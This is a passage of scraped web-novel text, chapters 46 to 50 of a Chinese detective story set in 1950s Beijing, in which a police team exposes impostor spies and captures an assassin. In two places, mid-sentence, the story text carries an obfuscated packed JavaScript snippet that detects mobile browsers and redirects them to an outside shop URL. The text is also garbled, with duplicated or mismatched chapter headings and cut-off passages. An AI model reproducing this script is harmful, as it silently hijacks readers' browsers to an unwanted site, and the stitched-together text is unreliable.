顾昭蕙说着点着第二位那个青大教授的老婆，“这个是我觉着最有疑问的一位。这位死亡方式是掉到井里，看起来是自杀，但是按照死者哥哥的说法，妹妹绝没有自杀的可能，看井口的布置，一个成年人意外掉入也不怎么可能。” 大家都能看到那个井口很小，高有半米，所以成年人就算拌倒也不容易掉进去。 “我看过资料，这位教授，现在是研究所的副所长，听说是四九 46. 第 46 章 《五五迷雾寻踪》全本免费阅读 第四十六章 那位青大的王青教授确实没什么问题，他现在是研究所的副所长，负责技术方面的问题，如果他有问题的话，或许研究所早就没什么秘密了。 对于他的妻子，他们调查的更仔细些，他的妻子叫李文华，是他同事的妹妹，现在在第三高中当老师，查找李文华，她在四五年后的轨迹一切明了，四三年大学毕业后去了根据地，在那里参加了工作，负责教学工作，这里很巧合的是，她竟然和赵庆远曾经在一个学校工作。 四六年她回到京城，之后就进入第三高中教书，直到四八年通过她哥哥认识了王青，两人结婚。当时她二十八岁。 顾昭蕙手里拿着李文华和王青的一张照片，是结婚前在故宫前照的照片。 照片上李文华看起来十分年轻，她又拿起另外一张照片，是李文华上大学时的照片，据调查李文华家里父母已经去世只有一个哥哥，同样是青大教授，因为兄妹两个年龄差了十岁，所以他哥哥对她总有种父亲般的照顾，说起妹妹离开的那三年，他感慨颇多，“我没想到她竟然真的坚持下来了，以前还是个挺娇气的小姑娘，一下子成熟许多。” 顾昭蕙仔细打量两张照片，闭上眼睛，脑海中两张照片更加清晰的出现在她的眼前，十分像，只是两人身高上有那么点些微差距，除此之外，两个人的眼睛也有些不同，这个李文华是假的，她冒名顶替了原来的李文华，只是不知道在什么时候，她的样貌或许经过微调，形态上也是学着。 顾昭蕙眉头紧皱着，这年代就有这么强的整容手段吗？ 因为确定李文华的身份，他们调查更有针对性，通过三处协调，他们得到更大的权限，将跟王青有关系的事情过了一遍，结果发现这个王青还真是个有意思的人，他确实像大舅哥说的那样是个书呆子，而且做事还挺死板的，就像是因为有了保密协议，所以他就从来不会在家人面前说工作上的事情，除此之外这人还是个工作狂，平常陪伴家人的时候很少。 难得这个李文华，还能沉得住气，对他家里照顾的很好，不过李文华得到的指令可能也是潜伏一类的，并没有过多动作。 一个得到证实，另外几个就更要查的细致，青大教授那里据说当年他本人有些研究成果，南边政府想让他去南方工作，他一直没同意，还有过激言论，所以这位恐怕是被刺杀的。因为他本身足够重要，所以应该不会是为了潜伏人员灭口。 妇产科主任和清洁工，经过调查这两个人认识并且十分熟悉，妇产科主任叫于洁，是当时妇产科一把刀，这年代生孩子剖腹产的少，技术也没有那么好，于洁就属于技术过硬的。 清洁工叫吴招娣，是内科一个医生的远房表姐，因为我丈夫死了没有孩子，实在过不下去了，才被那位医生托关系弄到医院，做个清洁工的工作。她在出事前主要就是妇产科那边的卫生。 因为太过久远很多事情都调查不清楚了，但是他们还是找到几个当年妇产科的医生护士，发现了重要线索。 “当年周萍萍，出去学习，大概有半年时间，回来之后就担任妇产科二把刀，她回来之后大概不到一个月，于洁就死了。她是在于洁死后通过人介绍认识的张常阳，那时候张常阳刚刚大学毕业，说起来条件并不算好，周萍萍条件更好些，听说就是当时医院院长的儿子都对她进行过追求。”齐云松将调查的信息说了出来。 说完之后拿出两张照片，“或许这两张照片可以确定于洁为什么会死。” 顾昭蕙接过照片仔细一看，忽地她发现什么，再看两眼，长呼一口气。 其它几人看着照片，都没有发现什么问题，只有周柏皱了皱眉头，“是常用手问题？” 两张照片其中一张是在实验室照的，很老，黑白照，照片中两个女人带着口罩，可以看出来一个年纪大点的站在二助的位置，主刀站着一位眉眼看着年轻一点的，她手上一手拿着手术刀，一手拿着镊子，正在动作，可以看出二助年纪大的女人，似乎说着什么，看着不像是助手更像是指导老师。 第二章照片则是周萍萍单独照片，她左手拿着模型，右手用笔比划着什么。好像在讲课。 “是的，之前查找以前妇产科的医生护士很多都调走了，老人几乎没有了，我找到之前的一个护士长，她说出事前于洁有点心神不宁，似乎有什么心事。她还问来着，但是于洁什么都没说似乎顾忌什么。 我问她于洁当时跟周萍萍有什么特别的地方吗？她才想起来出事前两天吧，于洁在办公室里问过一句你怎么用右手拿刀了，当时护士长就听到这一句，她推门进屋两个人就不说话了。” 齐云松说道这里点了点周萍萍的名字“我怀疑周萍萍也是被人冒名顶替的，她家里亲人在乡下，她是考上这边学校才留在京城的，所以身边的人本来就不是特别了解她，之后又在外面进修一年，有些变化也算正常，但是她的左利手改成右手这就有些奇怪了，而这个习惯，作为主刀医生教导过她的人，于洁肯定知道，所以怀疑了。” 大家对他这个结论都很肯定，其实平常人想要改变左右手习惯，只要通过练习还是能克服的，但是医生拿手术刀，需要很精准的控制，这个是很难改变的。 “这样看来周萍萍也是潜伏人员，那么她说的话恐怕就不可信了，张常阳和周萍萍结婚的时候已经是被替换的人，所以他不会知周萍萍有问题，之前研究所有资料泄露，没有查出是谁，但是张常阳是其中的嫌疑人之一，假设周萍萍是潜伏人员那么有没有可能那次泄密就是她做的，而张常阳或许已经发觉了问题。”顾昭蕙推演道。 “那他们离婚的原因恐怕就不是她说的那样。”周柏说道。 “或许她知道这次案子比较棘手所以通过离婚来撇清关系，张常阳已经知道了她身份，那么就留不得，最后利用他得到情报，然后再灭口。或者也是个替罪羊。而且这样一来，她还显无辜还能继续潜伏。”齐云松说道。 “那张常阳既然知道她的身份，头撇清关系是不是说张常阳实际上并不配合。”李想说道，“她肯定是用什么手段威胁张常阳。” “孩子。”顾昭蕙说道。 “那不是她自己的孩子吗？”李想长大嘴巴。 “你觉着像她那样的人，孩子能有多少分量。”齐云松觉着李想有点幼稚。“再说张常 47. 第 47 章 《五五迷雾寻踪》全本免费阅读 第四十六章 看着审讯记录，顾昭蕙皱着眉头，“这个影子应该就是那个杀手，但是想要找出来，还是有些难度的。” “周萍萍这里还要继续审讯，她肯定还有什么事情没有说出来。”周柏说道。 顾昭蕙点点头，“审讯的事情，周哥你负责，除了这个影子，我想她肯定还有其他事情，看看能不能从她那里找出几个鼹鼠。” 周柏点点头“好的。” 齐云松看向顾昭蕙“李文华那里是不是抓捕？” 顾昭蕙摇了摇头，“李文华跟这个案子没有关系，她还没有暴露，看着她或许能找到一些线索，也许能牵扯一些人出来。” 齐云松点点头“那她的事情是不是交给三处，咱们这边恐怕没有精力做这个。” “行，关于这几个人整容的事情，也要说一下，这几个案子是影子将人造成自杀假象，那个人找人替代，他们两个应该是有联系的，那么影子在他应该也在，需要找到这个人，不然就算不用来替代他人，也可能给人整容让一些人逃脱抓捕。” 齐云松听到这里严肃起来，他之前疏忽了，只想到并不是每个人都适合冒名顶替，却没想到这样的手段可以让一些人改变样貌。 “这个事情我会报告上去。” 顾昭蕙看了看外面天色已经很黑了，看了一下手表都晚上九点了，“天晚了都下班吧。” 说完又带着点歉意的对着周柏说“周哥这几天周萍萍这边恐怕你得盯着了，等案子结束，给你补假。” 周柏笑着摆了摆手“没事，都习惯了。” 顾昭蕙往外走，看着齐云松跟在身边“今天回家吗？” 齐云松点点头，“回去一趟，顺路我带你回去。” 顾昭蕙今天没骑自行车，昨个晚上回去的时候自行车扎爆胎了，还没有时间拿去修呢。 “那就麻烦了。”她也不扭捏。 下了楼齐云松骑上自行车等她偏腿坐好了，骑着就离开了市局。 “对了周末去家里吃饭吧，妈这几天念叨你来着。”顾昭蕙说道。齐云松认田静兰为干妈，也算是家里人，熟悉之后，顾昭蕙也没那么见外。 齐云松听了大长腿慢悠悠的蹬着自行车，“行啊，那我去买一条鱼，你做水煮鱼吧。” 顾昭蕙听了乐了，“上次不是被辣的够呛，还敢吃。” 齐云松脸上露出个大大的笑容“辣的也好吃，没准过一段时间我就适应了。”也不是不能吃辣，只不过那种又麻又辣的第一次吃，味道倒是很香的。 “那次是你赶上了，爸妈都能吃些辣，我也没想到那个辣椒那么够味，再做调一下，就不那么辣了。”还是大哥大嫂从南边弄来的辣椒麻椒，听说那边辣椒比较多，那么一大包，还弄来了豆瓣酱。她就按照菜谱做了水煮鱼，味道没的说，就是有点费油，那怕她已经很节省了。 入秋的风有些微凉，吹在脸上却是很舒服，顾昭蕙微咪着眼睛，竟然感觉周围一片宁静。 到了大院门口，车子就停下来，顾昭蕙下了车，看着齐云松“我走了，你也早点回去吧。” 齐云松支着大长腿对着她摆了摆手，看着她离开。进了大院，等了一会，忍不住笑了一下，骑着车子掉头回去了。 顾昭蕙到了家院门虚掩着，她推门进去，回身将大门插上，进了院子，看着东耳房还亮着灯，顾昭蕙走过去，在外面说了句：“爸妈我回来了，你们早点睡吧。” 里边应了一声，“锅里给你留了饭了，要是饿了就吃点。” 她应了一声，就回到自己的西耳房，没一会东耳房就关了灯。 也不知道什么时候开始，蒋家父母晚上总是会等她回来，就是两人睡了也会在外百年留着一盏灯。 屋子里水壶里的水是满的，倒了一些洗了脸，收拾一下，去厨房锅里有两个包子，还有一碗粥。包子没吃，将粥喝了，脑海里不知道怎么突然回忆起蒋永兴跟她说过的话“将来你跟我妈肯定处的来。” “为什么呢？”那时的顾昭蕙对未来充满期盼也有忐忑。 “因为你们都是能温暖别人的人。”蒋永兴看着她眼睛亮晶晶的。 现在想来，他们确实处的来，可惜蒋永兴看不到了。 回到屋子，看着熟悉的家具摆设，熟悉这里就好像已经住了很久，蒋永兴也像是离开很久了。可是记忆力那清晰的样貌，他的一言一行，一个眼神，一个笑容，是那么清晰，清晰地好像在眼前。 从抽屉里拿出两个人的结婚照，她看着，那天她的笑容有点收敛，当时灵魂刚刚融合，面对蒋永兴，她甚至产生了一种陌生的感觉。那是顾湘灵魂的影响，相比于后世那么庞大的记忆，顾昭蕙太简单了，以至于她的情感都被压制了。 那张笑脸看着越来越清晰，叹了口气，感情不是没有了，只是深藏了，大脑掌控越来越强，感情也会慢慢浮现。并不是消失。 将照片放好，她将台灯关上，躺在床上，头一次将关于蒋永兴的记忆全部放出来，她突然想回忆一下。 不知道什么时候睡着的，好像做了个梦，梦中蒋永兴对着她笑，笑的那么开心，然后他对她说了什么，对着她摆了摆手，渐行渐远。 醒来枕边湿润。 今天上班晚了一点，几乎是踩着上班铃声进了办公室，不过办公室里也就白容还在。 “白姐，大家都去哪了？”顾昭蕙问。 “李想和吴非去东城分局了，早上那边来了电话，说是排查有了一些进展，他们就去那边看情况了，张哥昨个夜班，周哥在审讯室，齐云松一早上不知道得着什么信了，带着王明出去了。” 顾昭蕙点点头，“齐云松一早得着信，他来的挺早啊。”她随口说了那么一句。 “我看他从宿舍那边出来的。昨个在这边住的吧。”白容说道。 顾昭蕙收拾桌子的动作一停，不过也没说什么。 早上这会 48. 第 48 章 第四十八章 影子很谨慎，不过再谨慎也疏漏的地方，他们在录音机内部发现了一枚指纹，虽然只是四分之三大小，却也能作为证据进行比对了。 至于楼下两家的事情，顾昭蕙不觉的会有什么问题，主要是影子做这个局为的是排除自己的嫌疑，所以那个时候楼下的人肯定与这个事情没有多大关系。 说是这样说还是得查查，谁想就查出个花边新闻来，正在张常阳家楼下的那家人，家里的男人是研究所的，女人是大院服务社的，这女人跟院外一个男人有不正当关系，他家男人经常加班，女人就经常叫男人到家里来，这男人有个朋友是这院子里的，每次都是借口到朋友家，所以大院门口看门的都认识，也没查过他。 那天下午男人有时间，就跟女人约好了在家里幽会，结果听到枪声吓坏了，赶紧从家里出去了，而女人的不在场证明是她同事给她做的，两人关系好，也知道女人这档子事，就给做了证。 可惜纸包不住火，知道事情严重性，那位做假证的的同事也不敢隐瞒什么都说了。 “警察同志真的这事跟我一点关系没有。”男人坐在审讯以上，脸都吓白了。 “说说那天你几点去的，看没看到什么可疑人员。”顾昭蕙说道。 男人颤抖着手，交握着捏了捏，“我是三点半到的。可疑的事？”他捏着手想了想说道“对了，我刚到不久就听见楼口有走道声，不是很大，但是有一点轻微哗啦声。” 他有点不好意思的说“我知道我这么做不对，其实每次也挺害怕的，当时我刚进屋没多久，就听见外边有脚步声，我就下意识的贴着门听声，那哗啦声有点像钥匙碰撞的声音，然后就是上楼的声音，接着听见敲门声，然后就是楼上张技术员有点惊讶的问，你怎么来了？” 他将两只手握在一起搓搓，“没听见来人说什么，两人就进屋了。” 他停顿一下过了好一会才说“过了有二十来分钟，我就听见楼上噗的一声，声音不小，闷闷的。” “你怎么知道过了那么长时间？”齐云松问。 这人有点不好意思，“当时声音虽然不算大，但是从楼下听着还是很明显的，我这不是被吓到了吗。”其实他跟人保持不正当关系，多少有点寻求刺激，不过那天差点给他吓萎了，当时他还看了一下表。 按照他的笔录，推算出，张常阳死亡时间应该就是三点五十分左右。 顾昭蕙一想不对劲，“按照保卫科说法，那个时间正好是院里两位妇女闹起来的时候。” “程副组长，身上带着保卫科的钥匙，我记得他们组员说他是在两个妇女吵架之后回来的，好像去厕所了。”齐云松突然从一沓子笔录中找到关于这条信息的出处，“是郭三说的，但是郭三是从小赵那里听来的。” 顾昭蕙也不用看那个笔录，此时那份笔录在她脑海中闪现，已经将信息归纳出来了“走，把这个程副组长带回来。” 程副组长现在是影子嫌疑人，对于这个利用手段杀害许多受害者的影子，他们是十分重视的，所以除了组里的几个人，还叫了局里几个好手。一起出动。 来到研究所大院保卫科，人没在，今天轮休，也没在宿舍，听说是回家了。 顾昭蕙记得当初没有怀疑程副组长，是因为这位有个正常的家庭，孩子都十几岁了，研究所刚成立的时候他就是保卫科的。现在当副组长也有三年了，他们家在四五年前就来到京城了，听说是北疆那边的，还属于少数民族呢，也因为这个她没有太多怀疑。 来到程副组长家里，就在家属院后边十三号楼，这里是鸳鸯楼，其实就是筒子楼，不过比筒子楼强点的是，这里有套间，早期盖起来是为新婚夫妻使用的，所以叫鸳鸯楼。 他们过来的时候已经确定程副组长住处了，在二楼东边把边的位置。 齐云松没让顾昭蕙跟着，“你在楼下等着。看着点防止他跳楼逃跑。”说完还让吴非留下，还给他使了个眼色。 吴非看懂了，直接站在顾昭蕙前边位置，他是从部队上下来的，也是经过训练的，自然知道该怎么办。 他们等在楼下，过了大约五分钟，楼上突然传来木仓响，一边是清脆的木仓声，一边带有一点闷闷的噗噗声。顾昭蕙觉着稳了，就是他。 许是知道自己无法抵抗，楼上突然传来轰的一声，窗户突然爆开，整个窗户连着下边的窗台全都被炸开了。 顾昭蕙心叫不好，赶紧往上去，那边吴非一把拉住他。“下来了。”说着将顾昭蕙往树后边一拽，然后就冲了上去。顾昭蕙看到一个人突然从窗户破洞处跳了下来。 吴非直接开枪，一下打中那人腿上，另外两个在楼下待命的小战士，也扑了上去，那人没想到下边的人会那么快开枪，腿被击中后，一下子摔倒在地，然后就被小战士压在身下，接着楼上又跳下来一个人，是张燕山，这人本来就猛，几乎跟前边的人前后脚下来。 落地后，他向前滚了一下，就止住了步伐，上前跟着两个小战士将人给拎起来了。手上拿着的枪早就被吴非踢到一边去了。 “小心他服毒。”顾昭蕙喊了一声。 张燕山熟练的一捏那人的两腮，仔细看了一下，没发现牙里□□，然后又看衣领子，在第二个纽扣上发现了问题，纽扣后边是空的，里边有一个白色的小药片。 他自己将上衣给扒了下来。 楼上齐云松站在窗口看人员被制服了，就退回去了。 顾昭蕙走到一旁带着手套将地上的木仓捡了起来，这只木仓枪口前面是一个圆筒样的东西，有点大，应该是最早期的消音器了。 人抓住了，她上楼来到门前，墙上有很多弹痕，李想胳膊上有血迹，看着被子弹打中，不过擦边过去了，应该没有大事。“赶紧去医院包扎一下。” 李想裂了咧嘴，他这会脸有点白，“要不是齐哥，我今天可就交代在这了。”事发突然，谁也没想到他直接就开枪了，当时他都没反应过来，被齐云松拉了一下子弹才会擦着左臂过去。 齐云松过来拍了拍他的肩膀。“没事，下次注意。这次我也有点大意了。”他们上来的时候动静太大，让对方察觉了。真是有点大意了。 让其他人在外边警戒，张燕山带着几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871565|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将人带回去，顾昭蕙周柏齐云松进屋查找一下线索，屋子里显然已经被炸弹给炸的乱七八糟的，屋子分内外两间，外间靠着窗户有一张小床，床前原本有个竹子屏风分割的，此时已经炸毁了，但是能看到床底下有个箱子，木仓和炸弹原本就在里边放着来着。 “他自己住外边？”顾昭蕙看了看剩下的物品还有东西说道“直接放在这未免太不谨慎了吧。” 齐云松摇了摇头，指了下边一个藤箱平常应该放在里边，可能听到动静就将东西拿出来了，“这人的家庭关系也有问题啊。” 顾昭蕙点了点头，正常家庭夫妻俩住在一起，孩子才会住在外边。顾昭蕙看了看墙上照片，那个男孩有十四五岁，样貌是少数民族的样子，“孩子不是他的。”这孩子与他几乎没有相同的地方。 “回去问问就知道了。” 不到半个小时段洪也过来了，不过屋子里没有太多的线索，除了那把木仓，和炸弹，这屋子里没有任何线索，甚至顾昭蕙都怀疑，这木仓和炸弹都是最近才放在这的。 事实上也是如此。他们没有发现什么有用的线索，唯一的好消息就是磁带盒上的指纹和他的对比上了，也就是这个案子可以结案了。 回到局里，发现人身上的伤口已经做了简单的处理了，但是这人坐在审讯椅上几乎没有任何表情，就那么坐在那。 “应该是一块难啃的骨头。”齐云松喝了口水从窗口走开。 顾昭蕙看了一眼，“先晾一晾，周哥已经去周萍萍那里了，影子落网，我想她应该会交代些事情。” “我现在还有个疑问，他当时在屋子里寻找什么？”齐云松说道。 张常阳的屋子被翻过，看痕迹他们应该没有得到自己想要的东西，按照周萍萍之前的说法，张常阳虽然被威胁但是没有真的去偷资料，更何况研究所的项目刚刚启动，还没有成果，也没什么好偷的，那么他们找的是什么东西，张常阳被杀的真正原因又是什么？ 顾昭蕙，想了想突然灵光一闪“周萍萍说，张常阳跟她说过，他们长走的路。人民公园松树林。假设张常阳手上有周萍萍需要的东西，他以此作为依仗想要脱力周萍萍他们的掌控呢？” 齐云松点了点头“你说的对，张常阳虽然告诉她那句话但是她并不知道是什么，也找不到，周萍萍说出来会不会是借着咱们的手找到。” 顾昭蕙大脑快速转动，开始将案子捋一下，张常阳发现了妻子有问题，开始因为感情或者因为孩子，没有告发，但是周萍萍发现之后反过来用孩子威胁他给他们做事，张常阳并不想这么做，所以他找到了周萍萍他们的把柄，或是对他们更重要的东西。 也正是因为这个东西，张常阳被她们忌惮所以杀人灭口，所以什么文件什么机密其实都没有，有的是张常阳掌握的东西。 张常阳在跟他们做个交易，或是获得自由或是别的什么，所以一开始将东西藏匿地点告诉了周萍萍，但是只是一个大概方向，并没有更细致的地址，所以那天他们两个约在家里见面，但是张常阳没想到来的竟然是另外一人。 到底是什么东西呢？ 49. 第 49 章 第四十九章 影子果然难缠，进入审讯室一声未发，对于他们的问话置若罔闻，不过他说与不说都无关紧要。 影子叫程虎，他的妻子是北疆人，她似乎有所察觉，被带到局里并没有多少意外，甚至带了点解脱。 她将跟程虎有关的事情都说了，程虎当年在北疆受伤被她捡到，那时候因为有小日子在，所以她很小心就把人藏了一段时间，程虎养好伤就走了。 她丈夫是个赌鬼，因为被人追债跑山里，迷了路正好赶上大雪封山，人没下来，那时候山里豺狼虎豹的，人要是几天没出来恐怕就再也找不回来了。 有一天追债的上门讨债，来了三个人，是当地有名的混混，她没钱还，那些混混就起了歪心思，当时才三岁的孩子都被他们踢了一脚，晕了过去，她还以为孩子死了，她狠心不想活了，拿着剪子给人来了个对穿，就在另外两个混混暴怒想要杀人的时候，程虎出现了，他当时手段非常厉害，一个被扭断脖子，一个被他用匕首割断动脉。 当时她吓坏了，人也懵了，只知道听话的跟着程虎把人处理了。尸体弄到林子里，程虎又割了几刀，估计不到天亮人就没了。 孩子当时只是背过气了，程虎说这么下去也不是办法，讨债的早晚还得过来，然后说要不跟着他走。那时候她也没主意就同意了。 等上了火车，她才发现男人用的是自己男人的身份，男人跟他说，他就是孩子的爸爸，就叫程虎。 她虽然有些事情不太明白，但是心里还是隐隐觉着有哪里不对劲。可是那时候她已经没有办法了。 跟着男人来到京城，日子过了起来，她也没发现男人有什么问题，直到四八年有一天，男人回来身上受了伤，腰部划了一个大口子，那时候她有些害怕但是也不敢说什么。帮着处理了伤口。 许是因为她一直很沉默没有多问什么，男人表现的就跟正常人一样，他对孩子也很好，可是这么多年他们俩就是表面夫妻，并没有夫妻之实，而且男人并不是身体有问题，他在外面有女人，有几次她闻到男人身上有香水味。 四九年后，男人进了研究院进了保卫科，她心里也踏实下来了，只是前几天听说院里死了人了，她不知道怎么心里咯噔一下，当时她什么都没说，可是心里多少有点害怕的。没想到预感是真的。 “你说从他身上闻到香水味，是什么样的香水味？”顾昭蕙问。 “不是花香，我也说不出来，就是那种淡淡的香味，就是闻着特别舒服。”女人也不怎么会形容。 顾昭蕙想了想让人去周萍萍家里，拿了她家里的香水。 周萍萍生活的很精致，平常也用化妆品香水，让人分辨味道，可惜这里面没有。 “跟这个感觉有点像，但是不一样，那个比这个要淡。”女人指着其中一瓶香水说。 顾昭蕙看了一下，这香水应该是特意调的香水，看包装是自制的。 拿着香水去问周萍萍，此时周萍萍已经没有抵抗心思了，最难抓的影子都被捕了，她抵抗也没有意义了。 “这香水是从元宝街一家小店买的，她家是老字号，老板特别会调香，会根据每个人喜好调制香水。”周萍萍说完，突然想到什么“对了如果我揭发了别人，能算我戴罪立功吗？” “现在你要做的就是坦白从宽，你的表现我们会作为进行评估。”周柏瞪了她一眼。 顾昭蕙对她扬了扬头“说说看。” 周萍萍抿了抿嘴唇“之前我差点被人发现，我当时不知道怎么办就启用了紧急联络，之后就有一个女人过来跟我联络，她叫李立华，她丈夫原是青大教授，后来是研究所的副所长，大约一年前我在大院里碰到她了，那时候才知道她的身份，后来我们两个就当好朋友处着，交换了几次情报，这香水店也是她带我过去的。” 顾昭蕙没想到被抖搂出来的是李立华。 “抓捕吧，李立华他们应该都是一条线上的，跟其他人应该没有太多的联系，周萍萍这里也没说出那个给她整脸的人是谁，只知道那人代号医生，手术过程中都是晕着的。或许李立华那里能有信息。正好看看她跟程虎是什么关系。”齐云松说道。 顾昭蕙点点头“那边香水店也要仔细排查一下。” 也不知道他们去那里是巧合还是那里也是个联络点。 李立华抓捕很容易，她似乎根本没有想过自己会被抓出来，实际上这么多年，她除了几次跟周萍萍接头，也没有做什么，她甚至觉着日子就这么过下去，没想到竟然就这么被抓了，一时心如死灰。 从李立华家中也找到了这种香水，让程虎老婆辨别一下，味道也是不对，“要更淡，这种好像是玫瑰的香味，玫瑰味的我还是知道的，那个应该也是一种花香。” 顾昭蕙想了想弄了一些带花香味的东西，不同的花香，女人仔细问了问，最后指着薰衣草味的手帕说，“像这个的味道，只是没有这个这么刺激，那个味道特别的淡。悠悠的，但是很长时间都不会散去，程虎每次回来，就算洗了澡，我也会闻到一些，大概两三天才会散掉。” 薰衣草的味道，这种香味还是很稀有的。 香水店经过细致检查还真没发现问题，那家店的老板实际上就是一人，家里以前是开香料铺子的，后来出国留学学了做香水的手艺，本来是想在国外发展，没想到家里出了变故，父亲出去进货的时候被土匪给杀了，母亲一病不起，他没办法才回来的。 后来母亲去世后，他就开始自己做些香水，他生意不大，只给人调配香水。 “并没有查出来什么问题，不过已经监控起来了，或许我们可以去问问他关于香水的问题。”齐云松说道。 顾昭蕙想了想，“等等我去问问李立华。” “你见过影子没有？”顾昭蕙问。 李立华摇了摇头“没有，我跟他虽然有过两次联系但是从来没有见面。” 顾昭蕙想了想问“那他有没有问过你什么奇怪的问题？就好像问没问过你关于香水的事情？” 李立华有些吃惊的看着顾昭蕙“你怎么知道？他确实问过我这个事情，那是四九年六月份吧。当时我们接头，说的是让我保持静默的事情。当时他说以后我们暂时就不联系了。那时候我们两个在一个咖啡厅当时中间隔着挡板坐着，虽然看不到对方但是离得非常近，不用太大声说话就能听到，临走的时候他突然问我，身上的香水是从哪里买的。我就告诉他了。” 顾昭蕙点了点头，又问了几个问题，就跟齐云松出了审讯室。 “这个拥有薰衣草香味香水的人，应该对影子很重要，对于他这样的人来说，与人私会是非常冒险的事情，可是他从来没有间断过，说明这个人对他很重要。” 齐云松点了点头“找到这个人或许就是突破口，而且这个人恐怕也是潜伏人员。” “薰衣草香味？”四十多岁的男人带着眼镜眯着眼睛看着顾昭蕙，想了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884790|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下“我这里有六个顾客专门选用的薰衣草香味，但是每个人又有不同。” “你有他们的资料吗？”顾昭蕙问。 男人摇了摇头“没有，所有的香水都是现调的，我这里只有编号。”他说着将一个大本子拿了出来，他将本子打开，里边是一些数字编号，后边有一些记录。 “你看，我这里记录的都是编号，客人只要说出编号就行，我就会给提供相同味道的香水，而且这些客人往往还会有多种选择，你看这里有些记录。” 顾昭蕙看到上面竟然是用法语写的一些记录，虽然知道是法语，但是顾昭蕙因为当年只是看过几部法语片，所以大脑再厉害也不能将这门语言全都学会，这会只能看出只言片语，不过也能大概知道表达的是什么，果然都是用编号来表示。 “那你能确定每个编号都不会弄错吗？” 老板笑了笑，“其实这些编号都有特别意义，像是这一系列带零二开头的，就是玫瑰味的，后边表示的是它的前调中调后调，基本上看到这个我就知道香水的味道，你看这些小标记都是我用来记录香水的味道。除此之外。”他说道这里将身后的柜子打开，里边放着竟然是一个个密封瓶，每个密封瓶里会放一点点的香水。 “你看看这些编号都是样品，对着编号，然后再闻一闻味道，我就知道该怎么调制了。”他说完指了指自己的鼻子，“很灵的。” 顾昭蕙点点头“那老板能将几种薰衣草味的香水找出来，我想让人分辨一下味道。” 男人点点头，随手从样品中找到几种香水，拿出来以后，“就是这七种，不过这三种已经有三年没有人定了，我都已经准备将它封存了。现在原料不好找，很多香水都做不出来了。”他叹息一声。 拿了香水，他又将抽屉拉开，然后拿着一个极细的玻璃管，从香水中吸出一滴香水，滴在一张四方的纸上，过了一会才放到一个密封袋中，密封袋外面写上编号“你们如果只是分辨味道，就等一等，香水前调的味道很快就会挥发，然后释放的味道有些不同，如果直接拿着瓶子闻，味道是不同的。” 顾昭蕙点点头，表示清楚了，然后看着他将七种味道全都弄好，顾昭蕙小心的将七张小纸片装好，分别存放。 “谢谢你的配合，之后可能还有些问题需要问您。” 男人摆了摆手“没事，有事您就来，我总是在店里的。” 顾昭蕙带着样品回到局里，让人辨认，最后选出其中一种。 女人似乎对这些事情都有特别的敏感，顾昭蕙让她分辨很多次，最终选择都是相同的。 拿着那个纸片顾昭蕙又回到了香水店，“这个味道你有印象吗？能记得是谁来买的吗？” 店老板拿过纸片闻了闻，然后将本子翻了一下，“问我记得是位女士来买的，我记得第一次是个男人陪她来的，之后就是她自己来的，她一年只来了两次，属于用的很慢的，我的香水瓶都很小，有的人一个月就用完了。她似乎用的不多，样貌吗？似乎很普通，每次不是戴帽子就是带口罩的。似乎是个文静的女性。”他说完摇了摇头“你让我分辨味道没有问题，但是样貌，我还真是有些想不起来了。” 顾昭蕙将影子的照片拿出来“是这个男人嘛？” 老板摇了摇头又点了点头“有点像，又有点不像。” 顾昭蕙叹了口，估计影子和那个女人都是化过妆来的。 “能让我再闻闻那个香水的味道吗？” 50. 第 50 章 第五十章 张常阳的案子告一段落，凶手落网，已经可以结案了，虽然关于影子那边还有一些问题，不过这个已经不是他们三组的工作范围了，将人交给三处，看看三处能不能撬开他嘴巴。至于说那个喷香水的女人，只能慢慢的寻找了。 总算是能好好休息一个周末，这段日子一直挺忙的，大家也都累了，每个人都祈祷最近别有大案子了。 齐云松一早就去了早市买了一条大鱼，还在早市看到个卖鸡的，她那里母鸡虽然只是一年的，但是已经开始下单了，齐云松干脆都买了，拢共三只，还是白芦花鸡。 买了东西后也没回家直接去了蒋家，赶上吃早饭，今天周末田静兰去买了早餐，焦圈豆汁豆浆还有小咸菜，家里爱吃豆汁的只有蒋志忠，顾昭蕙和田静兰是一点都不得意那味。 “得，我还说这豆汁喝不了呢，这下有人喝了。”蒋志忠看着齐云松进屋笑呵呵的说。俩大老爷们，可爱喝了，每次滋溜滋溜，顾昭蕙尝了两回都觉着能喝这玩意的都是战士。 “你从那弄来的几只母鸡，这都能下蛋了。”田静兰看着母鸡说道。 “从早市上弄来的，听说现在下边养鸡都是有数的，她家里鸡多，就拿出来卖了。我寻思着在东耳房前边的空地上围出一块，到时候把鸡养里边。三只鸡一天咋地也能下一两只蛋，这样家里就不用在外边买鸡蛋了。”齐云松洗了手坐在桌子边上先喝了口豆汁。 顾昭蕙看的有些难受，记忆力好也不全都是好事，她现在一看到豆汁就想到这个味道。 齐云松看她的样子，咧着嘴乐，夹起一个焦圈就咬了一大口，说起这个，豆汁还是他带顾昭蕙去的，有一次他们俩办了案子，一直到早上才完事，他就带她去吃的豆汁焦圈，他还记得当时顾昭蕙的表情。 顾昭蕙低头吃着自己的。 “上边下文件了，以后早市恐怕都没有了。”蒋志忠说道。 “现在各种票越来越多什么都用票，估计以后买东西都不容易了。”田静兰接话道。 “算了这种事情还是别说了。”蒋志忠说道。 